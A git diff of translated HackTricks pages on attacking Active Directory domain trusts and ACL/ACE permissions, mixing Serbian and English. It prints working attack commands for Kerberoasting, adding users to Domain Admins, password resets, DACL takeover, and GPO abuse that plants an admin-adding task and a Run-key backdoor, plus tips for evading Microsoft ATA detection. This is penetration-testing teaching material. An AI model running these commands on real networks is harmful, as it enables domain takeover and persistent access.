-Više detalja može se pročitati u [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). U scenarijima bez ADCS-a, napadač ima mogućnost da postavi potrebne komponente, kao što je razmotreno u [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
+More details on this can be read in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenarios lacking ADCS, the attacker has the capability to set up the necessary components, as discussed in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).

-### Eksterni forest domen - jednosmeran (Inbound) ili dvosmeran
+### External Forest Domain - One-Way (Inbound) or bidirectional
 ```bash
 Get-DomainTrust
 SourceName      : a.domain.local   --> Current domain
@ -708,13 +687,13 @@ TrustDirection  : Inbound          --> Inboud trust
 WhenCreated     : 2/19/2021 10:50:56 PM
 WhenChanged     : 2/19/2021 10:50:56 PM
 ```
-U ovom scenariju **vaš domen je poveren** od strane eksternog, dajući vam **neodređene dozvole** nad njim. Moraćete da otkrijete **koji subjekti vašeg domena imaju koji pristup nad eksternim domenom** i potom pokušate da ih iskoristite:
+U ovom scenariju **eksterni domen je postavio trust prema vašem domenu**, dajući vam **neodređena ovlašćenja** nad njim. Treba da pronađete **koji entiteti vašeg domena imaju koji pristup nad eksternim domenom** i potom pokušate da to iskoristite:

 {{#ref}}
 external-forest-domain-oneway-inbound.md
 {{#endref}}

-### Eksterni forest domen - Jednosmerno (Outbound)
+### Eksterni domen šume - jednosmerni (izlazni)
 ```bash
 Get-DomainTrust -Domain current.local

@ -728,36 +707,36 @@ WhenChanged     : 2/19/2021 10:15:24 PM
 ```
 U ovom scenariju **vaš domen** poverava neke **privilegije** principal-u iz **drugog domena**.

-Međutim, kada **domen bude poveren** od strane poveravajućeg domena, povereni domen **kreira korisnika** sa **predvidivim imenom** koji koristi kao **lozinku poverenu lozinku**. To znači da je moguće **pristupiti korisniku iz poveravajućeg domena da bi se ušlo u povereni** i enumerisalo ga i pokušalo eskalirati dodatne privilegije:
+Međutim, kada je **domain is trusted** od strane trust-ujućeg domena, trusted domain **kreira user-a** sa **predvidivim imenom** koji koristi kao **password the trusted password**. Što znači da je moguće **pristupiti user-u iz trusting domain-a da se uđe u trusted domen** kako bi se izvršila enumeracija i pokušalo eskaliranje privilegija:


 {{#ref}}
 external-forest-domain-one-way-outbound.md
 {{#endref}}

-Drugi način da se kompromituje povereni domen je pronalaženje [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) kreiranog u **suprotnoj smeru** od domain trust-a (što nije vrlo često).
+Drugi način da se kompromituje trusted domain je pronalaženje [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) kreiranog u **suprotnoj smeru** od domain trust-a (što nije često).

-Drugi način da se kompromituje povereni domen je da se sačeka na mašini kojoj **korisnik iz poverenog domena može pristupiti** da se prijavi putem **RDP-a**. Zatim bi napadač mogao injektovati kod u proces RDP sesije i **pristupiti origin domen-u žrtve** odatle.\
-Štaviše, ako je **žrtva montirala svoj hard drive**, iz procesa **RDP session** napadač bi mogao postaviti **backdoors** u **startup folder hard drive-a**. Ova tehnika se zove **RDPInception.**
+Drugi način da se kompromituje trusted domain je čekanje na mašini na kojoj **user iz trusted domain-a može pristupiti** i prijaviti se preko **RDP**. Napadač tada može injektovati kod u proces RDP sesije i **pristupiti origin domain-u žrtve** odatle.\
+Štaviše, ako je **žrtva mount-ovala svoj hard drive**, iz procesa **RDP session** napadač može postaviti **backdoors** u **startup folder hard drive-a**. Ova tehnika se zove **RDPInception.**


 {{#ref}}
 rdp-sessions-abuse.md
 {{#endref}}

-### Ublažavanje zloupotrebe poverenja domena
+### Domain trust abuse mitigation

 ### **SID Filtering:**

- Rizik od napada koji koriste SID history atribut preko forest trust-ova se ublažava pomoću SID Filtering, koji je po defaultu aktiviran na svim inter-forest trust-ovima. Ovo se zasniva na pretpostavci da su intra-forest trust-ovi sigurni, tretirajući forest, a ne domen, kao granicu bezbednosti u skladu sa Microsoft-ovim stavom.
- Međutim, postoji problem: SID filtering može poremetiti aplikacije i pristup korisnika, zbog čega se ponekad isključuje.
+- Rizik od napada koji koriste SID history atribut preko forest trust-ova se ublažava korišćenjem SID Filtering-a, koji je aktiviran po default-u na svim inter-forest trust-ovima. Ovo počiva na pretpostavci da su intra-forest trust-ovi sigurni, tretirajući forest, a ne domen, kao sigurnosnu granicu prema Microsoft-ovom stavu.
+- Međutim, postoji problem: SID filtering može poremetiti aplikacije i pristup korisnika, što vodi ka njegovom povremenom deaktiviranju.

 ### **Selective Authentication:**

- Za inter-forest trust-ove, korišćenje Selective Authentication osigurava da korisnici iz dva foresta nisu automatski autentifikovani. Umesto toga, potrebna su eksplicitna dopuštenja da bi korisnici pristupili domenima i serverima unutar poveravajućeg domena ili foresta.
- Važno je napomenuti da ove mere ne štite od zloupotrebe writable Configuration Naming Context (NC) ili napada na trust account.
+- Za inter-forest trust-ove, korišćenje Selective Authentication osigurava da korisnici iz dve šume nisu automatski autentifikovani. Umesto toga, potrebna su eksplicitna dopuštenja da bi korisnici pristupili domenima i serverima unutar trusting domena ili šume.
+- Važno je napomenuti da ove mere ne štite od iskorišćavanja writable Configuration Naming Context (NC) ili napada na trust account.

-[**Više informacija o domain trusts na ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
+[**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)

 ## AD -> Azure & Azure -> AD

@ -766,35 +745,35 @@ rdp-sessions-abuse.md
 https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
 {{#endref}}

-## Neke opšte odbrambene mere
+## Some General Defenses

-[**Saznajte više o zaštiti kredencijala ovde.**](../stealing-credentials/credentials-protections.md)
+[**Learn more about how to protect credentials here.**](../stealing-credentials/credentials-protections.md)

-### **Defanzivne mere za zaštitu kredencijala**
+### **Defensive Measures for Credential Protection**

- **Ograničenja Domain Admins**: Preporučuje se da Domain Admins mogu da se prijavljuju samo na Domain Controllers, izbegavajući njihovu upotrebu na drugim hostovima.
- **Privilegije servisnih naloga**: Servisi ne bi trebalo da se pokreću sa Domain Admin (DA) privilegijama radi održavanja bezbednosti.
- **Vremensko ograničenje privilegija**: Za zadatke koji zahtevaju DA privilegije, trebalo bi ograničiti njihovo trajanje. Ovo se može postići komandama poput: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
+- **Domain Admins Restrictions**: Preporučuje se da Domain Admins smeju da se prijavljuju samo na Domain Controllers, izbegavajući njihovu upotrebu na drugim hostovima.
+- **Service Account Privileges**: Servisi ne bi trebalo da se pokreću sa Domain Admin (DA) privilegijama radi bezbednosti.
+- **Temporal Privilege Limitation**: Za zadatke koji zahtevaju DA privilegije, treba ograničiti njihovo trajanje. Ovo se može postići komandom: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`

-### **Implementacija tehnika zavaravanja (Deception)**
+### **Implementing Deception Techniques**

- Implementacija deception uključuje postavljanje zamki, kao što su lažni korisnici ili računari, sa karakteristikama poput lozinki koje ne ističu ili su označeni kao Trusted for Delegation. Detaljan pristup uključuje kreiranje korisnika sa specifičnim pravima ili dodavanje u grupe visokih privilegija.
+- Implementacija deception uključuje postavljanje zamki, kao što su decoy users ili computers, sa karakteristikama kao što su lozinke koje ne ističu ili su označeni kao Trusted for Delegation. Detaljan pristup uključuje kreiranje user-a sa specifičnim pravima ili dodavanje u visoko-privilegovane grupe.
 - Praktičan primer uključuje korišćenje alata kao što su: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Više o deploy-ovanju deception tehnika možete naći na [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).
+- Više o deploy-ovanju deception tehnika može se naći na [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).

-### **Identifikovanje zavaravanja**
+### **Identifying Deception**

- **Za User objekte**: Sumnjivi indikatori uključuju netipičan ObjectSID, retke prijave, datume kreiranja i nizak broj pogrešnih lozinki.
- **Opšti indikatori**: Poređenje atributa potencijalnih decoy objekata sa onima kod stvarnih može otkriti nedoslednosti. Alati poput [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) mogu pomoći u identifikaciji takvih zavaravanja.
+- **For User Objects**: Sumnjivi indikatori uključuju netipičan ObjectSID, retke logone, datume kreiranja i nizak broj bad password pokušaja.
+- **General Indicators**: Poređenje atributa potencijalnih decoy objekata sa pravim objektima može otkriti nedoslednosti. Alati kao što je [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) mogu pomoći u identifikaciji takvih deceptions.

-### **Zaobilaženje detekcionih sistema**
+### **Bypassing Detection Systems**

 - **Microsoft ATA Detection Bypass**:
- **Enumeracija korisnika**: Izbegavanje enumeracije sesija na Domain Controller-ima da se spreči ATA detekcija.
- **Ticket Impersonation**: Korišćenje **aes** ključeva za kreiranje ticket-a pomaže da se izbegne detekcija ne padajući na NTLM.
- **DCSync napadi**: Izvođenje sa mašine koja nije Domain Controller kako bi se izbegla ATA detekcija se savetuje, jer direktno izvođenje sa Domain Controller-a izaziva alarme.
+- **User Enumeration**: Izbegavanje session enumeration na Domain Controllers da bi se sprečilo ATA detektovanje.
+- **Ticket Impersonation**: Korišćenje **aes** ključeva za kreiranje ticket-a pomaže u izbegavanju detekcije tako što se ne degradira na NTLM.
+- **DCSync Attacks**: Izvršavanje sa mašine koja nije Domain Controller kako bi se izbegla ATA detekcija se preporučuje, jer direktno izvršavanje sa Domain Controller-a pokreće alert-e.

-## Reference
+## References

 - [http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
 - [https://www.labofapenetrationtester.com/2018/10/deploy-deception.html](https://www.labofapenetrationtester.com/2018/10/deploy-deception.html)
--- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
+++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
@ -1,8 +1,8 @@
-# Zloupotreba Active Directory ACLs/ACEs
+# Abusing Active Directory ACLs/ACEs

 {{#include ../../../banners/hacktricks-training.md}}

-**Ova stranica je uglavnom rezime tehnika iz** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **i** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Za više detalja, pogledajte originalne članke.**
+**Ova stranica je uglavnom sažetak tehnika iz** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **i** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Za više detalja, pogledajte originalne članke.**

 ## BadSuccessor

@ -13,30 +13,30 @@ BadSuccessor.md

 ## **GenericAll Rights on User**

-Ova privilegija daje napadaču punu kontrolu nad ciljnim korisničkim nalogom. Nakon što se `GenericAll` prava potvrde korišćenjem komande `Get-ObjectAcl`, napadač može:
+Ova privilegija daje attacker-u potpunu kontrolu nad ciljnim user account-om. Nakon što su `GenericAll` prava potvrđena pomoću komande `Get-ObjectAcl`, attacker može:

- **Promeniti lozinku ciljanog naloga**: Korišćenjem `net user <username> <password> /domain`, napadač može resetovati lozinku korisnika.
- **Targeted Kerberoasting**: Dodelite SPN korisničkom nalogu da bi postao kerberoastable, zatim koristite Rubeus i targetedKerberoast.py da izvučete i pokušate da razbijete ticket-granting ticket (TGT) hashes.
+- **Change the Target's Password**: Koristeći `net user <username> <password> /domain`, attacker može resetovati user's password.
+- **Targeted Kerberoasting**: Dodelite SPN na korisničkom account-u da biste ga učinili kerberoastable, zatim koristite Rubeus i targetedKerberoast.py da izvučete i pokušate crack-ovati ticket-granting ticket (TGT) hashes.
 ```bash
 Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
 .\Rubeus.exe kerberoast /user:<username> /nowrap
 Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
 ```
- **Targeted ASREPRoasting**: Onemogućite pre-authentication za korisnika, čime njihov nalog postaje ranjiv na ASREPRoasting.
+- **Targeted ASREPRoasting**: Onemogućite pre-autentifikaciju za korisnika, čineći njegov nalog ranjiv na ASREPRoasting.
 ```bash
 Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
 ```
-## **GenericAll prava na grupi**
+## **GenericAll prava nad grupom**

-Ova privilegija omogućava napadaču da manipuliše članstvima grupa ako ima `GenericAll` prava na grupi kao što je `Domain Admins`. Nakon identifikovanja distinguished name grupe pomoću `Get-NetGroup`, napadač može:
+Ovo ovlašćenje omogućava napadaču da manipuliše članstvom u grupi ako imaju `GenericAll` prava na grupu poput `Domain Admins`. Nakon identifikovanja distinguished name grupe pomoću `Get-NetGroup`, napadač može:

- **Dodati sebe u Domain Admins grupu**: Ovo se može uraditi putem direktnih komandi ili korišćenjem modula kao što su Active Directory ili PowerSploit.
+- **Dodavanje sebe u grupu Domain Admins**: Ovo se može uraditi putem direktnih naredbi ili korišćenjem modula kao što su Active Directory ili PowerSploit.
 ```bash
 net group "domain admins" spotless /add /domain
 Add-ADGroupMember -Identity "domain admins" -Members spotless
 Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
 ```
- Sa Linuxa takođe možete iskoristiti BloodyAD da dodate sebe u proizvoljne grupe kada imate GenericAll/Write membership nad njima. Ako je ciljna grupa ugnježdena u “Remote Management Users”, odmah ćete dobiti WinRM pristup na hostovima koji poštuju tu grupu:
+Sa Linuxa takođe možete koristiti BloodyAD da dodate sebe u proizvoljne grupe kada nad njima imate GenericAll/Write članstvo. Ako je ciljna grupa ugnježdena u “Remote Management Users”, odmah ćete dobiti WinRM pristup na hostovima koji uvažavaju tu grupu:
 ```bash
 # Linux tooling example (BloodyAD) to add yourself to a target group
 bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
@ -46,35 +46,35 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
 ```
 ## **GenericAll / GenericWrite / Write on Computer/User**

-Imanje ovih privilegija na objektu računara ili na korisničkom nalogu omogućava:
+Posedovanje ovih privilegija na computer object ili user account omogućava:

- **Kerberos Resource-based Constrained Delegation**: Omogućava preuzimanje kontrole nad objektom računara.
- **Shadow Credentials**: Iskoristite ovu tehniku za lažno predstavljanje računara ili korisničkog naloga iskorišćavanjem privilegija za kreiranje shadow credentials.
+- **Kerberos Resource-based Constrained Delegation**: Omogućava preuzimanje computer object-a.
+- **Shadow Credentials**: Koristite ovu tehniku da imitirate computer ili user account iskorišćavanjem privilegija za kreiranje shadow credentials.

 ## **WriteProperty on Group**

-Ako korisnik ima `WriteProperty` prava na sve objekte za određenu grupu (npr. `Domain Admins`), može:
+Ako korisnik ima `WriteProperty` prava na svim objektima za određenu grupu (npr. `Domain Admins`), može:

- **Dodavanje sebe u Domain Admins grupu**: Moguće kombinovanjem komandi `net user` i `Add-NetGroupUser`; ova metoda omogućava eskalaciju privilegija u okviru domena.
+- **Add Themselves to the Domain Admins Group**: Izvodljivo kombinovanjem `net user` i `Add-NetGroupUser` komandi; ova metoda omogućava privilege escalation unutar domena.
 ```bash
 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
 ```
 ## **Self (Self-Membership) on Group**

-Ova privilegija omogućava napadačima da se dodaju u određene grupe, kao što su `Domain Admins`, putem komandi koje direktno manipulišu članstvom u grupi. Korišćenje sledeće sekvence komandi omogućava dodavanje sebe:
+Ova privilegija omogućava napadačima da sebe dodaju u određene grupe, kao što je `Domain Admins`, pomoću komandi koje direktno menjaju članstvo u grupi. Korišćenjem sledeće sekvence komandi moguće je samododavanje:
 ```bash
 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
 ```
 ## **WriteProperty (Self-Membership)**

-Slična privilegija, omogućava napadačima da sebe direktno dodaju u grupe menjanjem svojstava grupa ako imaju pravo `WriteProperty` nad tim grupama. Potvrda i izvršenje ove privilegije se vrše pomoću:
+Slična privilegija — omogućava napadačima da direktno dodaju sebe u grupe menjajući svojstva grupe ako imaju pravo `WriteProperty` nad tim grupama. Potvrda i izvršenje ove privilegije se obavlja pomoću:
 ```bash
 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
 net group "domain admins" spotless /add /domain
 ```
 ## **ForceChangePassword**

-Imati `ExtendedRight` nad korisnikom za `User-Force-Change-Password` omogućava resetovanje lozinki bez poznavanja trenutne lozinke. Proveru ovog prava i njegovo iskorišćavanje moguće je izvršiti putem PowerShell ili alternativnih alata komandne linije, koji nude više metoda za resetovanje korisničke lozinke, uključujući interaktivne sesije i one-linere za neinteraktivna okruženja. Komande se kreću od jednostavnih PowerShell poziva do korišćenja `rpcclient` na Linuxu, demonstrirajući svestranost attack vectors.
+Držanje `ExtendedRight` nad korisnikom za `User-Force-Change-Password` omogućava resetovanje lozinke bez poznavanja trenutne lozinke. Provera ovog prava i njegovo iskorišćavanje može se izvršiti putem PowerShell ili alternativnih alata komandne linije, nudeći više metoda za resetovanje korisničke lozinke — uključujući interaktivne sesije i one-liners za non-interactive okruženja. Komande variraju od jednostavnih PowerShell poziva do korišćenja `rpcclient` na Linuxu, što pokazuje svestranost attack vectors.
 ```bash
 Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
 Set-DomainUserPassword -Identity delegate -Verbose
@ -85,9 +85,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
 rpcclient -U KnownUsername 10.10.10.192
 > setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
 ```
-## **WriteOwner on Group**
+## **WriteOwner nad grupom**

-Ako napadač otkrije da ima `WriteOwner` prava nad grupom, može promeniti vlasništvo grupe na sebe. Ovo je posebno značajno kada je u pitanju grupa `Domain Admins`, jer promena vlasništva omogućava širu kontrolu nad atributima grupe i njenim članstvom. Proces podrazumeva identifikaciju ispravnog objekta pomoću `Get-ObjectAcl`, a zatim korišćenje `Set-DomainObjectOwner` za izmenu vlasnika, bilo preko SID-a ili imena.
+Ako napadač otkrije da ima `WriteOwner` prava nad grupom, može promeniti vlasništvo grupe na sebe. Ovo je posebno značajno kada je reč o grupi `Domain Admins`, jer promena vlasništva omogućava širu kontrolu nad atributima grupe i članstvom. Postupak podrazumeva identifikovanje ispravnog objekta pomoću `Get-ObjectAcl`, a zatim korišćenje `Set-DomainObjectOwner` za izmenu vlasnika, bilo pomoću SID-a ili imena.
 ```bash
 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
 Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
@ -95,13 +95,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
 ```
 ## **GenericWrite on User**

-Ova dozvola omogućava napadaču da menja korisnička svojstva. Konkretno, sa pristupom `GenericWrite`, napadač može promeniti putanju logon skripte korisnika kako bi izvršio maliciozni skript prilikom prijave korisnika. Ovo se postiže korišćenjem komande `Set-ADObject` za ažuriranje svojstva `scriptpath` ciljanog korisnika tako da pokazuje na napadačev skript.
+Ovo dopuštenje omogućava napadaču da menja korisnička svojstva. Konkretno, sa pristupom `GenericWrite`, napadač može promeniti putanju logon skripte korisnika kako bi se pri prijavi korisnika izvršio zlonamerni skript. Ovo se postiže korišćenjem komande `Set-ADObject` za ažuriranje svojstva `scriptpath` ciljnog korisnika tako da upućuje na napadačev skript.
 ```bash
 Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
 ```
 ## **GenericWrite on Group**

-Sa ovom privilegijom, napadači mogu manipulirati članstvom u grupi, na primer dodavanjem sebe ili drugih korisnika u određene grupe. Ovaj proces uključuje kreiranje objekta kredencijala, korišćenje tog objekta za dodavanje ili uklanjanje korisnika iz grupe i proveru promena članstva pomoću PowerShell komandi.
+Sa ovom privilegijom, napadači mogu da manipulišu članstvom u grupi, na primer da dodaju sebe ili druge korisnike u određene grupe. Ovaj proces uključuje kreiranje objekta kredencijala, njegovo korišćenje za dodavanje ili uklanjanje korisnika iz grupe i proveru promena članstva pomoću PowerShell komandi.
 ```bash
 $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
 $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
@ -111,7 +111,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
 ```
 ## **WriteDACL + WriteOwner**

-Owning an AD object i imati `WriteDACL` privilegije na njemu omogućava napadaču da sebi dodeli `GenericAll` privilegije nad objektom. Ovo se postiže manipulacijom ADSI, što omogućava potpunu kontrolu nad objektom i mogućnost izmene njegovih članstava u grupama. Ipak, postoje ograničenja prilikom pokušaja iskorišćavanja ovih privilegija korišćenjem Active Directory modula `Set-Acl` / `Get-Acl` cmdleta.
+Imanje AD objekta i privilegija `WriteDACL` nad njim omogućava napadaču da sebi dodeli privilegije `GenericAll` nad tim objektom. Ovo se postiže manipulacijom ADSI, omogućavajući potpunu kontrolu nad objektom i mogućnost izmene njegovog članstva u grupama. Uprkos tome, postoje ograničenja pri pokušaju iskorišćavanja ovih privilegija korišćenjem Active Directory modula `Set-Acl` / `Get-Acl` cmdleta.
 ```bash
 $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
 $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
@ -121,35 +121,35 @@ $ADSI.psbase.commitchanges()
 ```
 ## **Replikacija na domenu (DCSync)**

-DCSync napad koristi specifične dozvole za replikaciju na domenu da bi oponašao Domain Controller i sinhronizovao podatke, uključujući korisničke kredencijale. Ova moćna tehnika zahteva dozvole poput `DS-Replication-Get-Changes`, što napadačima omogućava da izvuku osetljive informacije iz AD okruženja bez direktnog pristupa Domain Controller-u. [**Learn more about the DCSync attack here.**](../dcsync.md)
+DCSync napad koristi specifična prava replikacije na domenu da oponaša Domain Controller i sinhronizuje podatke, uključujući korisničke kredencijale. Ova moćna tehnika zahteva dozvole poput `DS-Replication-Get-Changes`, što omogućava napadačima da izvuku osetljive informacije iz AD okruženja bez direktnog pristupa Domain Controller-u. [**Saznajte više o DCSync napadu ovde.**](../dcsync.md)

 ## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>

 ### GPO Delegation

-Delegirani pristup za upravljanje Group Policy Objects (GPOs) može predstavljati značajne sigurnosne rizike. Na primer, ako je korisniku kao što je `offense\spotless` dodeljeno pravo upravljanja GPO-ima, može imati privilegije kao što su **WriteProperty**, **WriteDacl**, i **WriteOwner**. Ove dozvole se mogu zloupotrebiti u zlonamerne svrhe, što se može identifikovati pomoću PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
+Delegirani pristup za upravljanje Group Policy Objects (GPOs) može predstavljati značajan bezbednosni rizik. Na primer, ako je korisniku kao što je `offense\spotless` delegirano pravo upravljanja GPOs, on može imati privilegije poput **WriteProperty**, **WriteDacl**, i **WriteOwner**. Ove dozvole se mogu zloupotrebiti u zlonamerne svrhe, što se može identifikovati korišćenjem PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`

 ### Enumerate GPO Permissions

-Da biste identifikovali pogrešno konfigurisanе GPO-ove, PowerSploit cmdlet-ovi se mogu nizati. Ovo omogućava otkrivanje GPO-ova kojima konkretan korisnik ima prava upravljanja: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
+Da biste identifikovali pogrešno konfigurirane GPOs, PowerSploit-ove cmdlet-ove možete povezati. To omogućava otkrivanje GPOs koje određeni korisnik ima pravo da upravlja: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`

-**Computers with a Given Policy Applied**: Moguće je utvrditi na koje računare je određeni GPO primenjen, što pomaže da se razume obim potencijalnog uticaja. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
+**Computers with a Given Policy Applied**: Moguće je razrešiti na koje računare se određeni GPO primenjuje, što pomaže u razumevanju obima potencijalnog uticaja. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`

-**Policies Applied to a Given Computer**: Da biste videli koje su politike primenjene na određeni računar, mogu se koristiti komande poput `Get-DomainGPO`.
+**Policies Applied to a Given Computer**: Da biste videli koje se politike primenjuju na određeni računar, mogu se koristiti komande poput `Get-DomainGPO`.

-**OUs with a Given Policy Applied**: Identifikacija organizational units (OUs) koje su pogođene određenom politikom može se izvršiti pomoću `Get-DomainOU`.
+**OUs with a Given Policy Applied**: Identifikacija organizational units (OUs) koje su pogođene određenom politikom može se izvršiti korišćenjem `Get-DomainOU`.

-Takođe možete koristiti alat [**GPOHound**](https://github.com/cogiceo/GPOHound) da enumerišete GPOs i pronađete probleme u njima.
+Takođe možete koristiti alat [**GPOHound**](https://github.com/cogiceo/GPOHound) za enumeraciju GPOs i pronalaženje problema u njima.

-### Zloupotreba GPO - New-GPOImmediateTask
+### Abuse GPO - New-GPOImmediateTask

-Pogrešno konfigurisani GPO-i mogu se iskoristiti za izvršavanje koda, na primer kreiranjem immediate scheduled task-a. Ovo se može iskoristiti za dodavanje korisnika u lokalnu grupu administrators na pogođenim mašinama, značajno povećavajući privilegije:
+Pogrešno konfigurirani GPOs mogu se iskoristiti za izvršavanje koda, na primer, kreiranjem odmah izvršnog zakazanog zadatka. Ovo se može iskoristiti za dodavanje korisnika u grupu lokalnih administratora na pogođenim mašinama, značajno povećavajući privilegije:
 ```bash
 New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
 ```
 ### GroupPolicy module - Abuse GPO

-GroupPolicy module, ako je instaliran, omogućava kreiranje i povezivanje novih GPOs, kao i podešavanje preferencija poput vrednosti registra za izvršavanje backdoors na pogođenim računarima. Ova metoda zahteva da GPO bude ažuriran i da se korisnik prijavi na računar da bi došlo do izvršenja:
+The GroupPolicy module, ako je instaliran, omogućava kreiranje i povezivanje novih GPOs, i podešavanje postavki kao što su registry values za izvršavanje backdoors na pogođenim računarima. Ova metoda zahteva da GPO bude ažuriran i da se korisnik prijavi na računar da bi se izvršilo:
 ```bash
 New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
 Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
@ -162,23 +162,23 @@ SharpGPOAbuse nudi metod za zloupotrebu postojećih GPOs dodavanjem zadataka ili
 ```
 ### Prisilno ažuriranje politike

-Ažuriranja GPO obično se dešavaju otprilike na svakih 90 minuta. Da biste ubrzali ovaj proces, naročito nakon unošenja izmene, na ciljnom računaru se može koristiti komanda `gpupdate /force` da bi se primoralo trenutno ažuriranje politike. Ova komanda osigurava da se sve izmene GPO primene bez čekanja na naredni automatski ciklus ažuriranja.
+Ažuriranja GPO obično se dešavaju otprilike na svakih 90 minuta. Da biste ubrzali ovaj proces, naročito nakon unošenja promene, na ciljnom računaru može se pokrenuti `gpupdate /force` komanda kako bi se primoralo neposredno ažuriranje politike. Ova komanda osigurava da se sve izmene u GPO-ima primene bez čekanja narednog automatskog ciklusa ažuriranja.

-### Ispod haube
+### Iza kulisa

-Pregledom Zakazanih zadataka za određeni GPO, kao što je `Misconfigured Policy`, može se potvrditi dodavanje zadataka poput `evilTask`. Ovi zadaci se kreiraju putem skripti ili komandno-linijskih alata sa ciljem izmene ponašanja sistema ili eskalacije privilegija.
